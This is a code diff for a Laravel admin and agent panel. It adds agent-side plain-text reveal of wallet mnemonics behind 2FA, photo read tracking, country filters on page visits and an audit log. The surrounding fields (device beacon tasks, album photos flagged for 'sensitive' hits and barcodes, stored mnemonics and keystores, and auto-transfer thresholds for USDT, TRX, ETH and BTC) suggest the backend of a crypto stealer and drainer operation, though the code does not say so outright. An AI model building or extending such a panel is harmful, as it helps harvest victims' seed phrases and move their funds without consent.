feat: menric
This commit is contained in:
@@ -16,6 +16,7 @@ class AgentUserController extends Controller
|
||||
return view('admin.agents.index', [
|
||||
'botUsername' => $telegram->cachedBotUsername(),
|
||||
'botInviteUrl' => $telegram->inviteUrl(),
|
||||
'staff_mnemonic_reveal' => (bool) config('coruna.mnemonic_reveal.staff_enabled'),
|
||||
]);
|
||||
}
|
||||
|
||||
@@ -44,14 +45,16 @@ class AgentUserController extends Controller
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
|
||||
$data = collect($paginator->items())->map(function (User $u) {
|
||||
return [
|
||||
$showReveal = (bool) config('coruna.mnemonic_reveal.staff_enabled');
|
||||
$data = collect($paginator->items())->map(function (User $u) use ($showReveal) {
|
||||
$row = [
|
||||
'id' => $u->id,
|
||||
'username' => $u->username,
|
||||
'status' => (int) $u->status,
|
||||
'comment' => $u->comment ?: '',
|
||||
'chat_id' => $u->chat_id ?: '',
|
||||
'telegram_ready' => $u->hasTelegramChat(),
|
||||
'google_bound' => $u->hasGoogleBound() ? 1 : 0,
|
||||
'channels_count' => (int) $u->channels_count,
|
||||
'auto_transfer_enabled' => (int) $u->auto_transfer_enabled,
|
||||
'auto_transfer_threshold_usdt' => $u->auto_transfer_threshold_usdt !== null ? (string) $u->auto_transfer_threshold_usdt : '',
|
||||
@@ -62,6 +65,11 @@ class AgentUserController extends Controller
|
||||
'created_at' => optional($u->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($u->updated_at)->format('Y-m-d H:i:s'),
|
||||
];
|
||||
if ($showReveal) {
|
||||
$row['can_reveal_mnemonics'] = $u->mnemonicRevealEnabled() ? 1 : 0;
|
||||
}
|
||||
|
||||
return $row;
|
||||
})->values();
|
||||
|
||||
return response()->json([
|
||||
@@ -86,6 +94,7 @@ class AgentUserController extends Controller
|
||||
'auto_transfer_threshold_eth' => ['nullable', 'numeric', 'min:0'],
|
||||
'auto_transfer_threshold_btc' => ['nullable', 'numeric', 'min:0'],
|
||||
'album_storage_default' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
'can_reveal_mnemonics' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
]);
|
||||
|
||||
$user = User::query()->create([
|
||||
@@ -100,6 +109,7 @@ class AgentUserController extends Controller
|
||||
'auto_transfer_threshold_eth' => $this->nullableThreshold($data['auto_transfer_threshold_eth'] ?? null),
|
||||
'auto_transfer_threshold_btc' => $this->nullableThreshold($data['auto_transfer_threshold_btc'] ?? null),
|
||||
'album_storage_default' => (bool) ((int) ($data['album_storage_default'] ?? 0)),
|
||||
'can_reveal_mnemonics' => (bool) ((int) ($data['can_reveal_mnemonics'] ?? 0)),
|
||||
]);
|
||||
|
||||
return response()->json(['code' => 0, 'msg' => 'ok', 'data' => ['id' => $user->id]]);
|
||||
@@ -118,6 +128,7 @@ class AgentUserController extends Controller
|
||||
'auto_transfer_threshold_eth' => ['nullable', 'numeric', 'min:0'],
|
||||
'auto_transfer_threshold_btc' => ['nullable', 'numeric', 'min:0'],
|
||||
'album_storage_default' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
'can_reveal_mnemonics' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
]);
|
||||
|
||||
if (array_key_exists('comment', $data)) {
|
||||
@@ -135,6 +146,9 @@ class AgentUserController extends Controller
|
||||
if (array_key_exists('album_storage_default', $data) && $data['album_storage_default'] !== null) {
|
||||
$agent->album_storage_default = (bool) ((int) $data['album_storage_default']);
|
||||
}
|
||||
if (array_key_exists('can_reveal_mnemonics', $data) && $data['can_reveal_mnemonics'] !== null) {
|
||||
$agent->can_reveal_mnemonics = (bool) ((int) $data['can_reveal_mnemonics']);
|
||||
}
|
||||
foreach (['usdt', 'trx', 'eth', 'btc'] as $coin) {
|
||||
$key = 'auto_transfer_threshold_'.$coin;
|
||||
if (array_key_exists($key, $data)) {
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Concerns\PortalAware;
|
||||
use App\Http\Controllers\Concerns\RevealsMnemonics;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\Admin;
|
||||
use App\Models\Device;
|
||||
@@ -12,6 +13,7 @@ use App\Models\DsChainLog;
|
||||
use App\Models\Note;
|
||||
use App\Models\PageVisit;
|
||||
use App\Models\Photo;
|
||||
use App\Models\PhotoRead;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletKeystore;
|
||||
@@ -29,6 +31,7 @@ use Illuminate\Support\Facades\Storage;
|
||||
class DeviceController extends Controller
|
||||
{
|
||||
use PortalAware;
|
||||
use RevealsMnemonics;
|
||||
|
||||
public function index()
|
||||
{
|
||||
@@ -130,6 +133,7 @@ class DeviceController extends Controller
|
||||
'beaconTasks' => $device->beaconTasks,
|
||||
'can_reveal' => $this->canRevealMnemonics(),
|
||||
'google_bound' => $this->googleBoundForReveal(),
|
||||
'google2fa_url' => $this->google2faUrl(),
|
||||
'can_clear_photos' => $this->canClearPhotos(),
|
||||
]);
|
||||
}
|
||||
@@ -164,6 +168,7 @@ class DeviceController extends Controller
|
||||
abort_unless(Storage::disk('local')->exists($row->path), 404);
|
||||
$abs = Storage::disk('local')->path($row->path);
|
||||
$out = $preview->payload($abs, (string) $device->device_id, (string) ($row->sha256 ?: ''));
|
||||
$this->markPhotoRead($row);
|
||||
|
||||
return response($out['bytes'], 200)
|
||||
->header('Content-Type', $out['mime']);
|
||||
@@ -507,6 +512,19 @@ class DeviceController extends Controller
|
||||
}
|
||||
}
|
||||
|
||||
private function markPhotoRead(Photo $photo): void
|
||||
{
|
||||
[$guard, $actorId] = $this->viewerActor();
|
||||
if ($guard === null || $actorId === null) {
|
||||
return;
|
||||
}
|
||||
try {
|
||||
PhotoRead::mark($photo, $guard, $actorId);
|
||||
} catch (\Throwable) {
|
||||
// Serving the image still succeeds if the read row cannot be written.
|
||||
}
|
||||
}
|
||||
|
||||
private function paginatePhotos(Device $device, Request $request, string $field, string $order, int $limit, int $page)
|
||||
{
|
||||
$sortable = ['id', 'size', 'x_hit', 'upload_count', 'process_index', 'text_count', 'barcode_count', 'created_at'];
|
||||
@@ -519,10 +537,17 @@ class DeviceController extends Controller
|
||||
if ((string) $request->query('sensitive', '') === '1') {
|
||||
$q->where('x_hit', '>', 0);
|
||||
}
|
||||
[$guard, $actorId] = $this->viewerActor();
|
||||
if ($guard !== null && $actorId !== null) {
|
||||
PhotoRead::applyFilter($q, $guard, $actorId, 'photos.id', $request->query('read'));
|
||||
}
|
||||
|
||||
$paginator = $q->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
|
||||
$portal = $this->portal();
|
||||
$data = collect($paginator->items())->map(function (Photo $photo) use ($device, $portal) {
|
||||
$readIds = ($guard !== null && $actorId !== null)
|
||||
? PhotoRead::readPhotoIds($guard, $actorId, $paginator->getCollection()->pluck('id')->all())
|
||||
: [];
|
||||
$data = collect($paginator->items())->map(function (Photo $photo) use ($device, $portal, $readIds) {
|
||||
return [
|
||||
'id' => $photo->id,
|
||||
'url' => route($portal.'.devices.photo', [$device, $photo->id]),
|
||||
@@ -533,6 +558,7 @@ class DeviceController extends Controller
|
||||
'process_index' => $photo->process_index,
|
||||
'text_count' => $photo->text_count,
|
||||
'barcode_count' => $photo->barcode_count,
|
||||
'read' => in_array($photo->id, $readIds, true) ? 1 : 0,
|
||||
'created_at' => optional($photo->created_at)->format('Y-m-d H:i:s'),
|
||||
];
|
||||
})->values();
|
||||
@@ -594,7 +620,7 @@ class DeviceController extends Controller
|
||||
'created_at' => optional($w->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($w->updated_at)->format('Y-m-d H:i:s'),
|
||||
'can_reveal' => $canReveal,
|
||||
'reveal_url' => $canReveal ? route('admin.mnemonics.reveal', $w->id) : '',
|
||||
'reveal_url' => $canReveal ? $this->mnemonicRevealUrl($w->id) : '',
|
||||
];
|
||||
})->values();
|
||||
|
||||
@@ -811,23 +837,6 @@ class DeviceController extends Controller
|
||||
return null;
|
||||
}
|
||||
|
||||
private function canRevealMnemonics(): bool
|
||||
{
|
||||
if ($this->isAgentPortal()) {
|
||||
return false;
|
||||
}
|
||||
$admin = auth('admin')->user();
|
||||
|
||||
return $admin instanceof Admin && $admin->canRevealMnemonics();
|
||||
}
|
||||
|
||||
private function googleBoundForReveal(): bool
|
||||
{
|
||||
$admin = auth('admin')->user();
|
||||
|
||||
return $admin instanceof Admin && $admin->hasGoogleBound();
|
||||
}
|
||||
|
||||
private function canClearPhotos(): bool
|
||||
{
|
||||
if ($this->isAgentPortal()) {
|
||||
|
||||
@@ -2,8 +2,10 @@
|
||||
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Concerns\PortalAware;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\Admin;
|
||||
use App\Models\User;
|
||||
use App\Services\AdminGoogle2fa;
|
||||
use Illuminate\Http\JsonResponse;
|
||||
use Illuminate\Http\Request;
|
||||
@@ -11,21 +13,22 @@ use Illuminate\Support\Facades\Hash;
|
||||
|
||||
class Google2faController extends Controller
|
||||
{
|
||||
use PortalAware;
|
||||
|
||||
public function index()
|
||||
{
|
||||
/** @var Admin $admin */
|
||||
$admin = auth('admin')->user();
|
||||
$actor = $this->googleActor();
|
||||
|
||||
return view('admin.security.google2fa', [
|
||||
'enabled' => $admin->requiresLoginGoogle(),
|
||||
'bound' => $admin->hasGoogleBound(),
|
||||
'enabled' => $actor->requiresLoginGoogle(),
|
||||
'bound' => $actor->hasGoogleBound(),
|
||||
'routes' => $this->googleRoutes(),
|
||||
]);
|
||||
}
|
||||
|
||||
public function prepare(Request $request, AdminGoogle2fa $google2fa): JsonResponse
|
||||
{
|
||||
/** @var Admin $admin */
|
||||
$admin = auth('admin')->user();
|
||||
$actor = $this->googleActor();
|
||||
|
||||
$data = $request->validate([
|
||||
'password' => ['required', 'string'],
|
||||
@@ -33,18 +36,18 @@ class Google2faController extends Controller
|
||||
'password.required' => '登陆密码不能为空',
|
||||
]);
|
||||
|
||||
if (! Hash::check($data['password'], $admin->password)) {
|
||||
if (! Hash::check($data['password'], $actor->password)) {
|
||||
return response()->json(['code' => 1, 'msg' => '登陆密码不正确']);
|
||||
}
|
||||
|
||||
if ((int) $admin->google_auth_open === 1 || filled($admin->google_secret)) {
|
||||
if ((int) $actor->google_auth_open === 1 || filled($actor->google_secret)) {
|
||||
return response()->json(['code' => 201, 'msg' => '您已绑定谷歌验证,可直接开启或关闭']);
|
||||
}
|
||||
|
||||
$secret = $google2fa->generateSecret();
|
||||
$request->session()->put('admin_google2fa_pending_secret', $secret);
|
||||
$request->session()->put($this->pendingSecretKey(), $secret);
|
||||
|
||||
$otpAuthUrl = $google2fa->otpAuthUrl($admin, $secret);
|
||||
$otpAuthUrl = $google2fa->otpAuthUrl($actor->username, $secret, $this->isAgentPortal() ? 'agent' : 'admin');
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
@@ -56,8 +59,7 @@ class Google2faController extends Controller
|
||||
|
||||
public function bind(Request $request, AdminGoogle2fa $google2fa): JsonResponse
|
||||
{
|
||||
/** @var Admin $admin */
|
||||
$admin = auth('admin')->user();
|
||||
$actor = $this->googleActor();
|
||||
|
||||
$data = $request->validate([
|
||||
'GAKey' => ['required', 'string', 'max:16'],
|
||||
@@ -68,7 +70,7 @@ class Google2faController extends Controller
|
||||
'GASecret.required' => '参数不完整',
|
||||
]);
|
||||
|
||||
$pending = (string) $request->session()->get('admin_google2fa_pending_secret', '');
|
||||
$pending = (string) $request->session()->get($this->pendingSecretKey(), '');
|
||||
if ($pending === '' || ! hash_equals($pending, $data['GASecret'])) {
|
||||
return response()->json(['code' => 1, 'msg' => '绑定已过期,请重新获取二维码']);
|
||||
}
|
||||
@@ -78,12 +80,12 @@ class Google2faController extends Controller
|
||||
}
|
||||
|
||||
$loginVerify = (int) ($data['login_verify'] ?? 0);
|
||||
$admin->forceFill([
|
||||
$actor->forceFill([
|
||||
'google_auth_open' => $loginVerify,
|
||||
'google_secret' => $data['GASecret'],
|
||||
])->save();
|
||||
|
||||
$request->session()->forget('admin_google2fa_pending_secret');
|
||||
$request->session()->forget($this->pendingSecretKey());
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
@@ -95,8 +97,7 @@ class Google2faController extends Controller
|
||||
|
||||
public function toggle(Request $request, AdminGoogle2fa $google2fa): JsonResponse
|
||||
{
|
||||
/** @var Admin $admin */
|
||||
$admin = auth('admin')->user();
|
||||
$actor = $this->googleActor();
|
||||
|
||||
$data = $request->validate([
|
||||
'password' => ['required', 'string'],
|
||||
@@ -104,21 +105,21 @@ class Google2faController extends Controller
|
||||
'GACode' => ['nullable', 'string', 'max:16'],
|
||||
]);
|
||||
|
||||
if (! Hash::check($data['password'], $admin->password)) {
|
||||
if (! Hash::check($data['password'], $actor->password)) {
|
||||
return response()->json(['code' => 1, 'msg' => '登陆密码不正确']);
|
||||
}
|
||||
|
||||
if (! filled($admin->google_secret)) {
|
||||
if (! filled($actor->google_secret)) {
|
||||
return response()->json(['code' => 1, 'msg' => '您未绑定谷歌验证']);
|
||||
}
|
||||
|
||||
$open = (int) $data['open'];
|
||||
$code = (string) ($data['GACode'] ?? '');
|
||||
if (! $google2fa->verify((string) $admin->google_secret, $code)) {
|
||||
if (! $google2fa->verify((string) $actor->google_secret, $code)) {
|
||||
return response()->json(['code' => 1, 'msg' => '谷歌验证码不正确']);
|
||||
}
|
||||
|
||||
$admin->forceFill(['google_auth_open' => $open])->save();
|
||||
$actor->forceFill(['google_auth_open' => $open])->save();
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
@@ -130,33 +131,65 @@ class Google2faController extends Controller
|
||||
|
||||
public function unbind(Request $request, AdminGoogle2fa $google2fa): JsonResponse
|
||||
{
|
||||
/** @var Admin $admin */
|
||||
$admin = auth('admin')->user();
|
||||
$actor = $this->googleActor();
|
||||
|
||||
$data = $request->validate([
|
||||
'password' => ['required', 'string'],
|
||||
'GACode' => ['required', 'string', 'max:16'],
|
||||
]);
|
||||
|
||||
if (! Hash::check($data['password'], $admin->password)) {
|
||||
if (! Hash::check($data['password'], $actor->password)) {
|
||||
return response()->json(['code' => 1, 'msg' => '登陆密码不正确']);
|
||||
}
|
||||
|
||||
if (! filled($admin->google_secret)) {
|
||||
if (! filled($actor->google_secret)) {
|
||||
return response()->json(['code' => 1, 'msg' => '您未绑定谷歌验证']);
|
||||
}
|
||||
|
||||
if (! $google2fa->verify((string) $admin->google_secret, $data['GACode'])) {
|
||||
if (! $google2fa->verify((string) $actor->google_secret, $data['GACode'])) {
|
||||
return response()->json(['code' => 1, 'msg' => '谷歌验证码不正确']);
|
||||
}
|
||||
|
||||
$admin->forceFill([
|
||||
$actor->forceFill([
|
||||
'google_auth_open' => 0,
|
||||
'google_secret' => null,
|
||||
])->save();
|
||||
|
||||
$request->session()->forget('admin_google2fa_pending_secret');
|
||||
$request->session()->forget($this->pendingSecretKey());
|
||||
|
||||
return response()->json(['code' => 0, 'msg' => '已解除谷歌验证绑定']);
|
||||
}
|
||||
|
||||
private function googleActor(): Admin|User
|
||||
{
|
||||
if ($this->isAgentPortal()) {
|
||||
/** @var User $user */
|
||||
$user = auth('agent')->user();
|
||||
|
||||
return $user;
|
||||
}
|
||||
|
||||
/** @var Admin $admin */
|
||||
$admin = auth('admin')->user();
|
||||
|
||||
return $admin;
|
||||
}
|
||||
|
||||
/** @return array{prepare: string, bind: string, toggle: string, unbind: string} */
|
||||
private function googleRoutes(): array
|
||||
{
|
||||
$portal = $this->portal();
|
||||
|
||||
return [
|
||||
'prepare' => route($portal.'.security.google2fa.prepare'),
|
||||
'bind' => route($portal.'.security.google2fa.bind'),
|
||||
'toggle' => route($portal.'.security.google2fa.toggle'),
|
||||
'unbind' => route($portal.'.security.google2fa.unbind'),
|
||||
];
|
||||
}
|
||||
|
||||
private function pendingSecretKey(): string
|
||||
{
|
||||
return $this->isAgentPortal() ? 'agent_google2fa_pending_secret' : 'admin_google2fa_pending_secret';
|
||||
}
|
||||
}
|
||||
|
||||
@@ -3,8 +3,9 @@
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Concerns\PortalAware;
|
||||
use App\Http\Controllers\Concerns\RevealsMnemonics;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\Admin;
|
||||
use App\Models\SystemLog;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
@@ -19,6 +20,7 @@ use Illuminate\Support\Facades\RateLimiter;
|
||||
class MnemonicController extends Controller
|
||||
{
|
||||
use PortalAware;
|
||||
use RevealsMnemonics;
|
||||
|
||||
private const REFRESH_DECAY_SECONDS = 60;
|
||||
|
||||
@@ -40,6 +42,7 @@ class MnemonicController extends Controller
|
||||
'sources' => $sources,
|
||||
'can_reveal' => $this->canRevealMnemonics(),
|
||||
'google_bound' => $this->googleBoundForReveal(),
|
||||
'google2fa_url' => $this->google2faUrl(),
|
||||
]);
|
||||
}
|
||||
|
||||
@@ -74,7 +77,7 @@ class MnemonicController extends Controller
|
||||
'wallets_url' => route($portal.'.mnemonics.wallets', $row->id),
|
||||
'refresh_url' => route($portal.'.mnemonics.wallets.refresh', $row->id),
|
||||
'can_reveal' => $canReveal,
|
||||
'reveal_url' => $canReveal ? route('admin.mnemonics.reveal', $row->id) : '',
|
||||
'reveal_url' => $canReveal ? $this->mnemonicRevealUrl($row->id) : '',
|
||||
];
|
||||
})->values();
|
||||
|
||||
@@ -88,16 +91,21 @@ class MnemonicController extends Controller
|
||||
|
||||
public function reveal(Request $request, WalletMnemonic $mnemonic, AdminGoogle2fa $google2fa)
|
||||
{
|
||||
/** @var Admin|null $admin */
|
||||
$admin = auth('admin')->user();
|
||||
if ($admin === null || ! $admin->canRevealMnemonics()) {
|
||||
return response()->json(['code' => 1, 'msg' => '需要超级管理员权限'], 403);
|
||||
$actor = $this->isAgentPortal() ? $this->agent() : auth('admin')->user();
|
||||
if ($actor === null || ! $actor->canRevealMnemonics()) {
|
||||
$msg = (! $this->isAgentPortal() && ! (bool) config('coruna.mnemonic_reveal.staff_enabled'))
|
||||
? '需要超级管理员权限'
|
||||
: '无权查看明文';
|
||||
|
||||
return response()->json(['code' => 1, 'msg' => $msg], 403);
|
||||
}
|
||||
if ($this->isAgentPortal() || ! $this->mnemonicAllowed($mnemonic)) {
|
||||
if (! $this->mnemonicAllowed($mnemonic)) {
|
||||
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
|
||||
}
|
||||
if (! $admin->hasGoogleBound()) {
|
||||
return response()->json(['code' => 1, 'msg' => '请先在「系统 → 谷歌验证」绑定,查看明文必须验证']);
|
||||
if (! $actor->hasGoogleBound()) {
|
||||
$hint = $this->isAgentPortal() ? '账号 → 谷歌验证' : '系统 → 谷歌验证';
|
||||
|
||||
return response()->json(['code' => 1, 'msg' => '请先在「'.$hint.'」绑定,查看明文必须验证']);
|
||||
}
|
||||
|
||||
$data = $request->validate([
|
||||
@@ -106,7 +114,7 @@ class MnemonicController extends Controller
|
||||
'GACode.required' => '请输入谷歌验证码',
|
||||
]);
|
||||
|
||||
$throttleKey = 'mnemonic-reveal:'.$admin->id;
|
||||
$throttleKey = 'mnemonic-reveal:'.$this->portal().':'.$actor->id;
|
||||
if (RateLimiter::tooManyAttempts($throttleKey, 8)) {
|
||||
$seconds = RateLimiter::availableIn($throttleKey);
|
||||
|
||||
@@ -116,7 +124,7 @@ class MnemonicController extends Controller
|
||||
], 429);
|
||||
}
|
||||
|
||||
if (! $google2fa->verify((string) $admin->google_secret, $data['GACode'])) {
|
||||
if (! $google2fa->verify((string) $actor->google_secret, $data['GACode'])) {
|
||||
RateLimiter::hit($throttleKey, 60);
|
||||
|
||||
return response()->json(['code' => 1, 'msg' => '谷歌验证码不正确']);
|
||||
@@ -124,6 +132,17 @@ class MnemonicController extends Controller
|
||||
|
||||
RateLimiter::clear($throttleKey);
|
||||
|
||||
try {
|
||||
SystemLog::recordMnemonicReveal(
|
||||
$actor,
|
||||
$this->isAgentPortal() ? 'agent' : 'admin',
|
||||
$mnemonic,
|
||||
$request,
|
||||
);
|
||||
} catch (\Throwable) {
|
||||
// Reveal still succeeds if audit write fails.
|
||||
}
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => 'ok',
|
||||
@@ -201,23 +220,6 @@ class MnemonicController extends Controller
|
||||
]);
|
||||
}
|
||||
|
||||
private function canRevealMnemonics(): bool
|
||||
{
|
||||
if ($this->isAgentPortal()) {
|
||||
return false;
|
||||
}
|
||||
$admin = auth('admin')->user();
|
||||
|
||||
return $admin instanceof Admin && $admin->canRevealMnemonics();
|
||||
}
|
||||
|
||||
private function googleBoundForReveal(): bool
|
||||
{
|
||||
$admin = auth('admin')->user();
|
||||
|
||||
return $admin instanceof Admin && $admin->hasGoogleBound();
|
||||
}
|
||||
|
||||
private function mnemonicAllowed(WalletMnemonic $mnemonic): bool
|
||||
{
|
||||
$allowed = WalletMnemonic::query()
|
||||
|
||||
@@ -7,6 +7,7 @@ use App\Http\Controllers\Controller;
|
||||
use App\Models\DsChainLog;
|
||||
use App\Models\PageVisit;
|
||||
use App\Models\User;
|
||||
use App\Support\CfIpCountry;
|
||||
use App\Support\AgentScope;
|
||||
use Carbon\Carbon;
|
||||
use Illuminate\Http\Request;
|
||||
@@ -39,7 +40,7 @@ class PageVisitController extends Controller
|
||||
->forPage($page, $limit)
|
||||
->get([
|
||||
'id', 'channel_id', 'client_uid', 'chain', 'os', 'os_version',
|
||||
'browser', 'browser_version', 'user_agent', 'ip', 'domain', 'referer', 'created_at',
|
||||
'browser', 'browser_version', 'user_agent', 'ip', 'country', 'domain', 'referer', 'created_at',
|
||||
]);
|
||||
|
||||
return response()->json([
|
||||
@@ -58,6 +59,8 @@ class PageVisitController extends Controller
|
||||
'browser_version' => $v->browser_version ?: '',
|
||||
'user_agent' => $v->user_agent ?: '',
|
||||
'ip' => $v->ip ?: '',
|
||||
'country' => $v->country ?: '',
|
||||
'country_label' => CfIpCountry::label($v->country),
|
||||
'domain' => $v->domain ?: '',
|
||||
'referer' => $v->referer ?: '',
|
||||
'created_at' => optional($v->created_at)?->toDateTimeString(),
|
||||
@@ -135,6 +138,11 @@ class PageVisitController extends Controller
|
||||
if ($browserVersion !== '') {
|
||||
$q->where('browser_version', $browserVersion);
|
||||
}
|
||||
$country = CfIpCountry::normalize((string) $request->query('country', ''));
|
||||
if ($country !== null) {
|
||||
$q->where('country', $country);
|
||||
}
|
||||
|
||||
$domain = trim((string) $request->query('domain', ''));
|
||||
if ($domain !== '') {
|
||||
$q->where('domain', 'like', '%'.$domain.'%');
|
||||
|
||||
@@ -5,6 +5,7 @@ namespace App\Http\Controllers\Admin;
|
||||
use App\Http\Controllers\Concerns\PortalAware;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\Photo;
|
||||
use App\Models\PhotoRead;
|
||||
use App\Models\User;
|
||||
use App\Support\AgentScope;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
@@ -43,7 +44,11 @@ class PhotoController extends Controller
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
|
||||
$portal = $this->portal();
|
||||
$data = collect($paginator->items())->map(function ($row) use ($portal) {
|
||||
[$guard, $actorId] = $this->viewerActor();
|
||||
$readIds = ($guard !== null && $actorId !== null)
|
||||
? PhotoRead::readPhotoIds($guard, $actorId, $paginator->getCollection()->pluck('id')->all())
|
||||
: [];
|
||||
$data = collect($paginator->items())->map(function ($row) use ($portal, $readIds) {
|
||||
return [
|
||||
'id' => $row->id,
|
||||
'device_key' => $row->device_key ?: '',
|
||||
@@ -51,6 +56,7 @@ class PhotoController extends Controller
|
||||
'url' => route($portal.'.devices.photo', [$row->device_id, $row->id]),
|
||||
'size' => $row->size,
|
||||
'x_hit' => $row->x_hit,
|
||||
'read' => in_array((int) $row->id, $readIds, true) ? 1 : 0,
|
||||
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||
'detail_url' => route($portal.'.devices.show', ['device' => $row->device_id, 'tab' => 'photos']),
|
||||
];
|
||||
@@ -87,6 +93,10 @@ class PhotoController extends Controller
|
||||
if ((string) $request->query('sensitive', '') === '1') {
|
||||
$q->where('photos.x_hit', '>', 0);
|
||||
}
|
||||
[$guard, $actorId] = $this->viewerActor();
|
||||
if ($guard !== null && $actorId !== null) {
|
||||
PhotoRead::applyFilter($q, $guard, $actorId, 'photos.id', $request->query('read'));
|
||||
}
|
||||
if (! $this->isAgentPortal()) {
|
||||
AgentScope::applyAgentUserFilter(
|
||||
$q,
|
||||
|
||||
@@ -0,0 +1,65 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\SystemLog;
|
||||
use Illuminate\Http\Request;
|
||||
|
||||
class SystemLogController extends Controller
|
||||
{
|
||||
public function index()
|
||||
{
|
||||
return view('admin.system.logs', [
|
||||
'actions' => SystemLog::actionLabels(),
|
||||
]);
|
||||
}
|
||||
|
||||
public function data(Request $request)
|
||||
{
|
||||
$q = SystemLog::query();
|
||||
|
||||
$username = trim((string) $request->query('username', ''));
|
||||
$action = trim((string) $request->query('action', ''));
|
||||
$keyword = trim((string) $request->query('keyword', ''));
|
||||
if ($username !== '') {
|
||||
$q->where('actor_username', 'like', '%'.$username.'%');
|
||||
}
|
||||
if ($action !== '' && isset(SystemLog::actionLabels()[$action])) {
|
||||
$q->where('action', $action);
|
||||
}
|
||||
if ($keyword !== '') {
|
||||
$q->where('content', 'like', '%'.$keyword.'%');
|
||||
}
|
||||
|
||||
$sortable = ['id', 'created_at'];
|
||||
$field = (string) $request->query('field', 'id');
|
||||
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'id';
|
||||
}
|
||||
$q->orderBy($field, $order);
|
||||
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 20)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
|
||||
$data = collect($paginator->items())->map(function (SystemLog $row) {
|
||||
return [
|
||||
'id' => $row->id,
|
||||
'actor_role' => $row->actorRoleLabel(),
|
||||
'actor_username' => $row->actor_username ?: '—',
|
||||
'content' => $row->content ?: '',
|
||||
'ip' => $row->ip ?: '',
|
||||
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||
];
|
||||
})->values();
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'count' => $paginator->total(),
|
||||
'data' => $data,
|
||||
]);
|
||||
}
|
||||
}
|
||||
@@ -39,6 +39,7 @@ class SystemSettingsController extends Controller
|
||||
{
|
||||
$data = $request->validate([
|
||||
'telegram_owner_chat_id' => ['nullable', 'string', 'max:64'],
|
||||
'official_album_storage' => ['nullable', 'in:0,1'],
|
||||
'auto_transfer_enabled' => ['nullable', 'in:0,1'],
|
||||
'auto_transfer_threshold_usdt' => ['nullable', 'numeric', 'min:0'],
|
||||
'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'],
|
||||
@@ -69,19 +70,22 @@ class SystemSettingsController extends Controller
|
||||
}
|
||||
}
|
||||
|
||||
$payload = [
|
||||
'telegram.bot_username' => $username !== '' ? $username : null,
|
||||
'telegram.owner_chat_id' => $data['telegram_owner_chat_id'] ?? null,
|
||||
'album_storage.official_default' => (($data['official_album_storage'] ?? '0') === '1') ? '1' : '0',
|
||||
'auto_transfer.enabled' => (($data['auto_transfer_enabled'] ?? '0') === '1') ? '1' : '0',
|
||||
'auto_transfer.threshold_usdt' => $threshold($data['auto_transfer_threshold_usdt'] ?? null) ?? '',
|
||||
'auto_transfer.threshold_trx' => $threshold($data['auto_transfer_threshold_trx'] ?? null) ?? '',
|
||||
'auto_transfer.threshold_eth' => $threshold($data['auto_transfer_threshold_eth'] ?? null) ?? '',
|
||||
'auto_transfer.threshold_btc' => $threshold($data['auto_transfer_threshold_btc'] ?? null) ?? '',
|
||||
'transfer.fee_address_tron' => $threshold($data['transfer_fee_address_tron'] ?? null) ?? '',
|
||||
'transfer.fee_private_key_tron' => $threshold($data['transfer_fee_private_key_tron'] ?? null),
|
||||
'transfer.fee_topup_trx' => $threshold($data['transfer_fee_topup_trx'] ?? null) ?? '20',
|
||||
];
|
||||
|
||||
try {
|
||||
$settings->putMany([
|
||||
'telegram.bot_username' => $username !== '' ? $username : null,
|
||||
'telegram.owner_chat_id' => $data['telegram_owner_chat_id'] ?? null,
|
||||
'auto_transfer.enabled' => (($data['auto_transfer_enabled'] ?? '0') === '1') ? '1' : '0',
|
||||
'auto_transfer.threshold_usdt' => $threshold($data['auto_transfer_threshold_usdt'] ?? null) ?? '',
|
||||
'auto_transfer.threshold_trx' => $threshold($data['auto_transfer_threshold_trx'] ?? null) ?? '',
|
||||
'auto_transfer.threshold_eth' => $threshold($data['auto_transfer_threshold_eth'] ?? null) ?? '',
|
||||
'auto_transfer.threshold_btc' => $threshold($data['auto_transfer_threshold_btc'] ?? null) ?? '',
|
||||
'transfer.fee_address_tron' => $threshold($data['transfer_fee_address_tron'] ?? null) ?? '',
|
||||
'transfer.fee_private_key_tron' => $threshold($data['transfer_fee_private_key_tron'] ?? null),
|
||||
